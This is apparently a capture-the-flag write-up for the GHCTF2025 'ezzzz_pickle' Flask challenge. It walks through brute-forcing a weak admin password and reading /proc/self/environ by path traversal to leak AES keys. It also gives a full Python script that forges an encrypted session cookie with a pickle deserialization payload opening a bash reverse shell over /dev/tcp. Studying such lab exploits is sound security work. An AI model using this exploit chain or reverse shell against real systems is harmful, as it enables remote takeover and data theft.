GHCTF2025 ezzzz_pickle Problem Solution

397 Views
No Comments

A total of 8920 characters, expected to take 23 minutes to complete reading.

Title

The title is ezzzz_pickle, affirmations and pickle Modules are related.

This is the source code that broke out after solving the problem:

from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123",}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')

    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)

        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

Ideas

Just entering this topic requires us to enter a user name and password:

GHCTF2025 ezzzz_pickle Problem Solution

Guess should be a weak password, directly use WebCrack Blasting:

git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py

GHCTF2025 ezzzz_pickle Problem Solution

Get username and password respectively admin andadmin123. Continue Login:

GHCTF2025 ezzzz_pickle Problem Solution

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hello Page</title>
</head>
<body>
    <h1>Hello, admin!</h1>
     <!-- hint:session_pickle -->
    <h1></h1>
        <form method="POST" action="/">
    <input type="hidden" name="filename" value="fake_flag.txt">
            <button type="submit" class="btn btn-login"> 读取 flag</button>
        </form>
</body>
</html>

Note that<!-- hint:session_pickle -->, prompting us to use pickle deserialization injection session. Take a closer look <input type="hidden" name="filename" value="fake_flag.txt">There seems to be a file reading vulnerability.

Will value="fake_flag.txt" Changed value="/proc/self/environ" You can return the environment variables of the current program:

GHCTF2025 ezzzz_pickle Problem Solution

PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/

According PWD=/app It is known that the program reads in this directory. /app/app.py You can get the source code:

from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123",}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')

    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)

        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

Section Line 76 will appear pickle The deserialization vulnerability of, but here the program first decrypts (first AES Decryption(Line 72) again BASE64 decryption(Line 73)). Therefore, we need to use the environment variable just now.SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv andSECRET_iv=asdwdggiouewhgpw, serialize first:

class User:
    def __init__(self):
        self.username = "admin"
        self.expires = 1941144899

    def __reduce__(self):
        return eval, ("__import__('os').system('sleep 3')",)

data = User()
print(pickle.dumps(data))

The print is pickle Will User The raw data after serialization of the class. On deserialization,pickle will be executed automatically reduce The method inside will cause a loophole in the execution of arbitrary commands. This loophole is very dangerous! Then we can encrypt the data according to the procedure just now, and we can get dangerous session:

import base64
import pickle

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

if __name__ == "__main__":

    def generate_key_iv():
        key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
        iv = "asdwdggiouewhgpw".encode()
        return key, iv

    def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

        if mode == "encrypt":
            encryptor = cipher.encryptor()

            padder = padding.PKCS7(algorithms.AES.block_size).padder()
            padded_data = padder.update(data.encode()) + padder.finalize()
            result = encryptor.update(padded_data) + encryptor.finalize()
            return base64.b64encode(result).decode()

        elif mode == "decrypt":
            decryptor = cipher.decryptor()

            encrypted_data_bytes = base64.b64decode(data)
            decrypted_data = (decryptor.update(encrypted_data_bytes) + decryptor.finalize())

            unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
            unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
            return unpadded_data.decode()

    class User:
        def __init__(self):
            self.username = "admin"
            self.expires = 1941144899

        def __reduce__(self):
            # 任意命令执行
            return eval, ("__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/ 你的 IP/ 你的端口 0>&1 2>&1'\")",
            )

    data = User()

    # 序列化数据
    pickled_data = pickle.dumps(data)

    # BASE64 加密
    pickled_data = base64.b64encode(pickled_data).decode("utf-8")

    # 根据源程序的 AES 加密
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")

    # 结果
    print(session)

Place the resulting results in the browser's Cookie Inside, refresh the page:

GHCTF2025 ezzzz_pickle Problem Solution

I rebounded directly here bash Give my host, get control:

GHCTF2025 ezzzz_pickle Problem Solution

Final Payload

jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==

GHCTF2025 ezzzz_pickle Problem Solution

END
 0
Comment(No Comments)
验证码
en_USEnglish